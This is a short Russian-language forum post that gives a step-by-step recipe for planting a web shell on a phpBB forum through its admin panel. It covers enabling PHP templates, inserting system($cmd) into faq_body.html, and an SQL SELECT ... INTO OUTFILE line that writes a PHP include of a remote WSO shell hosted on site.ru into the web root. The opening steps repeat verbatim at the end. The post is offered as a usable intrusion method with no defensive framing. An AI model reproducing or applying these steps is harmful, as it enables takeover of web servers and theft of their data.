Администратирование -> Настройка безопасности -> позволяем php шаблоны.
Стили -> Шаблоны -> Редактировать -> faq_body.html
пишем там system($cmd); или <? system($cmd); ?>
После этого идем
[Ссылки могут видеть только зарегистрированные пользователи. ][command]
заливаем шелл
либо
Создаем файл shell.sql суем в него код
SELECT '<? @include("http://site.ru/shell/wso.txt"); ?>' FROM phpbb_users LIMIT 1 INTO OUTFILE '/home/lol/htdocs/forum/wso.php';
В админке востанавливаем через бд этот файл.
Администратирование -> Настройка безопасности -> позволяем php шаблоны.
Стили -> Шаблоны -> Редактировать -> faq_body.html
пишем там system($cmd); или <? system($cmd); ?>
После этого идем
[Ссылки могут видеть только зарегистрированные пользователи. ][command]
заливаем шелл